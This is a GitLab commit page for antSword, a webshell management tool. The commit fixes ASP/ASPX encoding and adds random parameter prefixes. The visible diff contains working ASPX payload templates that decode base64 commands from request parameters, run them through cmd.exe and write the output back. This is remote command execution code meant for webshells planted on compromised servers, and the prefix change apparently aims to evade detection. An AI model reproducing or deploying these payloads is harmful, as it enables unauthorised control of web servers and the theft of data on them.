Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
d63cb456
Commit
d63cb456
authored
May 01, 2020
by
yzddmr6
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Bug Fix & Update
1. 修复asp aspx无法使用的bug 2. 给aspx其他参数前加上随机前缀
parent
92bf8721
Changes
4
Expand all
Hide whitespace changes
Inline
Side-by-side
Showing
4 changed files
with
40 additions
and
40 deletions
+40
-40
index.js
source/core/asp/index.js
+1
-1
index.js
source/core/aspx/index.js
+1
-1
command.js
source/core/aspx/template/command.js
+9
-9
filemanager.js
source/core/aspx/template/filemanager.js
+29
-29
No files found.
source/core/asp/index.js
View file @
d63cb456
...
...
@@ -77,7 +77,7 @@ class ASP extends Base {
// let formatter = new this.format(this.__opts__['encode']);
let
formatter
=
Base
.
prototype
.
format
(
this
.
__opts__
[
'encode'
]
);
.
format
(
this
.
__opts__
);
// hex编码一次数据
let
hexCode
=
formatter
[
'hex'
](
data
[
'_'
]);
...
...
source/core/aspx/index.js
View file @
d63cb456
...
...
@@ -79,7 +79,7 @@ class ASPX extends Base {
// let formatter = new this.format(this.__opts__['encode']);
let
formatter
=
Base
.
prototype
.
format
(
this
.
__opts__
[
'encode'
]
);
.
format
(
this
.
__opts__
);
let
aspxencode
=
this
.
__opts__
[
'encode'
];
...
...
source/core/aspx/template/command.js
View file @
d63cb456
...
...
@@ -4,16 +4,16 @@
module
.
exports
=
(
arg1
,
arg2
,
arg3
)
=>
({
exec
:
{
_
:
`var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["
${
arg1
}
"])));
_
:
`var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["
${
arg1
}
"]
.substr(#randomPrefix#)
)));
var e=new System.Diagnostics.Process();
var out:System.IO.StreamReader,EI:System.IO.StreamReader;
c.UseShellExecute=false;
c.RedirectStandardOutput=true;
c.RedirectStandardError=true;
e.StartInfo=c;
c.Arguments="/c "+System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["
${
arg2
}
"]));
if(Request.Item["
${
arg3
}
"]) {
var envstr = System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["
${
arg3
}
"]));
c.Arguments="/c "+System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["
${
arg2
}
"]
.substr(#randomPrefix#)
));
if(Request.Item["
${
arg3
}
"]
.substr(#randomPrefix#)
) {
var envstr = System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["
${
arg3
}
"]
.substr(#randomPrefix#)
));
var envarr = envstr.split("|||asline|||");
var i;
for (var i in envarr) {
...
...
@@ -29,17 +29,17 @@ module.exports = (arg1, arg2, arg3) => ({
EI=e.StandardError;
e.Close();
Response.Write(out.ReadToEnd() + EI.ReadToEnd());`
.
replace
(
/
\n\s
+/g
,
''
),
[
arg1
]:
"#{base64::bin}"
,
[
arg2
]:
"#{base64::cmd}"
,
[
arg3
]:
"#{base64::env}"
[
arg1
]:
"#{
new
base64::bin}"
,
[
arg2
]:
"#{
new
base64::cmd}"
,
[
arg3
]:
"#{
new
base64::env}"
},
listcmd
:
{
_
:
`var binarr=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["
${
arg1
}
"]));
_
:
`var binarr=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["
${
arg1
}
"]
.substr(#randomPrefix#)
));
var ss=binarr.split(",");
var i;
for(var i in ss){
Response.Write(ss[i]+"\\t"+(System.IO.File.Exists(ss[i])?1:0)+"\\n");
}`
.
replace
(
/
\n\s
+/g
,
''
),
[
arg1
]:
"#{base64::binarr}"
[
arg1
]:
"#{
new
base64::binarr}"
}
})
\ No newline at end of file
source/core/aspx/template/filemanager.js
View file @
d63cb456
This diff is collapsed.
Click to expand it.
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment